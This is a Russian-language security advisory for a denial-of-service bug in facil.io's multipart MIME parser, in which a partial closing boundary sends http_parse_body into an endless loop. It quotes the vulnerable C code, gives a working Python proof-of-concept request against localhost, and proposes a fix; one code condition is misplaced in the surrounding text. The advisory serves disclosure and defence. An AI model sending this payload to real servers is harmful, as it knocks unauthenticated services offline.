
Security Advisory: Бесконечный цикл DoS в MIME-парсере facil.io (частичная граница)
Назначенный CVE ID: CVE-2026-66730
Продукт: facil.io
Затронутые версии: facil.io >= 0.6.0 (все 0.6.x, все 0.7.x, master); появился вместе с MIME-парсером в 0.6.0
Компонент: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (цикл с недостижимым условием выхода), CWE-400 (неконтролируемое потребление ресурсов)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Исследователь: Theodosis Paidakis
Запрос multipart/form-data, тело которого заканчивается частичной закрывающей границей (например, --B- вместо --B--\r\n), приводит к тому, что http_parse_body() зацикливается со 100% загрузкой CPU. MIME-парсер возвращает 0 потреблённых байт, когда он останавливается на частичной границе, но вызывающий цикл проверяет только . Ни один из флагов не установлен, поэтому он бесконечно вызывает парсер с теми же данными. Сервер не падает, поэтому воркер не перезапускается. Один неаутентифицированный POST-запрос навсегда замораживает один воркер.
!done && !errorЭто не связано с CVE-2026-41146, который представляет собой бесконечный цикл в JSON-парсере (fio_json_parser.h). Этот баг находится в MIME/multipart-парсере.
Часть 1: Отсутствие проверки прогресса в вызывающем коде
lib/facil/http/http.c, строки 1963-1967
// lib/facil/http/http.c:1963-1967
do {
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons; // += 0 when parser stalls
p.buffer = fiobj_data_pread(h->body, p.pos, 4096); // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error); // neither flag set -> loops forever
Если http_mime_parse возвращает 0 и не устанавливает ни done, ни error, p.pos остаётся неизменным, fiobj_data_pread возвращает тот же буфер, и у цикла нет выхода.
Часть 2: Когда http_mime_parse возвращает 0
lib/facil/http/parsers/http_mime_parser.h, строки 314-329 и ветвь consume_partial
Парсер сканирует секцию значения в поисках полной границы. Когда тело заканчивается на \n--B- (на четыре байта короче полной закрывающей границы \n--B--\r\n), сканирование находит \n, за которым следует то, что выглядит как начало границы, но не может подтвердить, что она полная:
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
(size_t)(stop - end) >= (4 + parser->boundary_len) &&
(end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
// partial boundary -- transition to consume_partial on first call
parser->in_obj = 1;
goto consume_partial;
}
При следующем вызове in_obj уже установлен. Ветвь consume_partial находит тот же \n перед --B-, а затем отодвигает возвращаемый указатель назад, перед непотреблёнными данными:
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
end -= 2;
if (end[0] == '\r') --end; // end now points before the \n
pos = end; // return pointer set behind any new data
goto end_of_data; // returns 0 bytes consumed
}
pos оказывается в той же точке или раньше стартовой. Функция возвращает 0. Возвращаясь к вызывающему коду, cons = 0, p.pos не двигается, и цикл повторяется.
Запустите сервер, затем выполните:
# poc_mime_infinite_loop.py
import socket, time
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=field\r\n"
"\r\n"
"value\r\n"
"--B-" # partial closing boundary: missing final '-\r\n'
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
s.recv(4096)
print("got response - not vulnerable")
except socket.timeout:
print("hung for 10s - server spinning at 100% CPU")
Наблюдается: процесс сервера загружает CPU на 99.7-100%. Для восстановления требуется kill -9.
Зависший воркер никогда не завершается, поэтому перезапуска не происходит. При достаточном количестве запросов (равном числу воркеров) сервер навсегда перестаёт обслуживать всех клиентов до ручного перезапуска. Не требуется ни аутентификации, ни специальных заголовков, ни предварительного состояния.
Добавьте защиту от отсутствия прогресса в цикл в http_parse_body:
lib/facil/http/http.c, строки 1963-1967
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
if (p.pos == last_pos) { p.p.error = 1; break; } // no progress: abort
last_pos = p.pos;
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons;
p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);